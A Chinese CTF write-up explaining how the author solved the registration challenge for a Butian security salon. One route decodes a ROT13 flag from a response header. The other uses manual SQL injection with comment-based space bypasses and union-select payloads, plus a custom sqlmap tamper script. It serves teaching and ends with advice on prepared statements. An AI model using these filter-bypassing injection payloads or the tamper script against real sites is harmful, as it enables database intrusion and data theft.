宣告,這不是廣告,因為現在是凌晨,而沙龍是白天下午一點開始。

不過還是要提一下,主辦方是補天漏洞平臺、承辦方是安全盒子。

想要報名參會需要透過一道CTF,CTF是為了測試參會人員基礎夠不夠資格參加沙龍。

正文:

喂?

在幹嘛呢,補天報名地址出來了,但是我報不了。

為什麼報不了啊?

握草,報名地址就是個CTF,我不知道這什麼加密

等會,半小時到家。

這題比較有趣,報名地址是公眾號文章內的原文地址。

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

進入以後快速的填寫資料提交無反應,第一反應是檢視原始碼,不到十秒鐘看到了兩個js檔案,略懂一點javascript。不敢班門弄斧,上相關資料。

百度touch的手勢框架,touch。js

http://

jingyan。baidu。com/artic

le/7f766daf5936914101e1d03d。html

通俗來說,這兩個檔案存在基本就是需要手機來提交。

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

到了這裡得到了game地址,進去

http://

butian。secbox。cn

以後就是很簡單的歡迎語。直覺告訴我要看看http請求裡,可能是因為上海站沙龍站我出題的時候也是這個思路吧。

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

真慶幸自己也經常用返回包這招捉弄新手,直覺幫我少走了許多彎路,直接在響應頭裡面看見一串奇怪的字元。不巧的是我又剛好略懂加密。

根據以往的經驗判斷是ROT13 加密,ROT13 加密是凱撒加密的一種。現在常常被當作弱加密示例的典型,也是當下很多基礎ctf小遊戲經常出現的一道題。

解密地址:

網路管理員線上工具

得出結果:Flag{wElCoMe_tO_BuTi4n}

解決時間:三分鐘

莫方,還要第二種解法

?Id=1 2 3…… 分別返回不同的結果,猜測有注入。只是做了一些限制

前陣子玩耍某ctf比賽的時候,遇到了一個LuManager15年12月爆出的漏洞。結果用sqlmap帶入tamper成功跑出

想著這道題可能也會有這樣的情況。帶上tamper失敗

開始手工注入:

?id=1返回: ctf gogogo

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

?id=2返回: where is flag?

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

?id=3返回: flag is in database

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

手工檢視過濾了什麼函式

?id=3%27

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

返回報錯頁面,再次嘗試

?id=3-1

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

正常返回where is flag?,可以看見資料庫進行了正常的運算。確定存在注入了。

經過短暫的探測,過濾函式如下:

空格、and、or、infomation_schema、ORDER BY……

空格嘗試/**/進行替代

/?id=2/**/-1

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

正常返回ID=1的所屬值 ,所以空格基本可以用/**/代替 ,測試union select沒有被過濾

那麼進行報錯聯合查詢?id=-1/**/union/**/select/**/1

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

手工判斷是否能顯示報錯進行,測試只能union select 1,1個欄位進行資料顯示

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

?id=-1/**/union/**/select/**/USER()# 爆出peter@localhost

接著使用id=-1/**/union/**/select/**/database() 爆出庫名

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

進行資訊分析根據上面不同返回資訊進行分別嘗試

判斷語句:?id=-1/**/union/**/select/**/1/**/from/**/websql。flag

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

上面已經得到庫名為websql、那麼我的語句意思是:

如果資料庫名是websql,表名是flag,則返回1。 如果表名不是flag則返回報錯頁面

/?id=-1/**/union/**/select/**/flag/**/from/**/websql。flag

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

同樣的方法最後得到flag

庫名是websql、表名是flag、欄位名也是flag、內容是FLAG{wElCoMe_tO_BuTi4n}

手工注入以後是指令碼

sqlmap的tamper目錄裡有需要py指令碼,這些指令碼大部分是幫助我們繞過防注入的。

根據這個案例我也寫了一個小指令碼,在sqlmap tamper目錄裡面隨便找個指令碼,按照現有的指令碼進行編寫,因為空格被過濾,所以需要/**/進行代替

#!/usr/bin/env python

“”“

Copyright (c) 2006-2012 sqlmap developers (http://sqlmap。org/)

See the file ‘doc/COPYING’ for copying permission

”“”

import re

from lib。core。enums import PRIORITY

__priority__ = PRIORITY。HIGHEST

def dependencies():

pass

#tamper 方法裡面進行更改 第一個引數是payload,第二個是headers http請求頭資訊

def tamper(payload, headers):

“”“

Replaces 空格 with /**/

Example:

* Input: 1‘ and 1=1

* Output: 1’/**/and/**/1=1

”“”

#payload=payload。upper()

return payload。replace(“ ”, “/**/”) if payload else payload, headers

加了一些註釋,python初學者也能很好理解吧?

這裡在編寫指令碼以後一度無法爆出表和欄位名。於是我猜測是在sqlmap的表、欄位的字典中沒有flag。於是加上

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

最終執行結果:

看我如何報名補天沙龍-成都站

看我如何報名補天沙龍-成都站

結語:

這個報名題,比較基礎。也只是一個小小的門檻題,22號白天下午才是正菜,希望我等弱雞能夠透過並分享給大家,感謝觀看。

想要更好的防注入,採用SQL預編譯技術。注意位元組編碼。

如果自己寫公共處理類,可以參考一下dedecms、Discuz! 等等……

相關基礎文章:

你真的會SQL注入攻擊嗎?(下) - 駭客生活 - 知乎專欄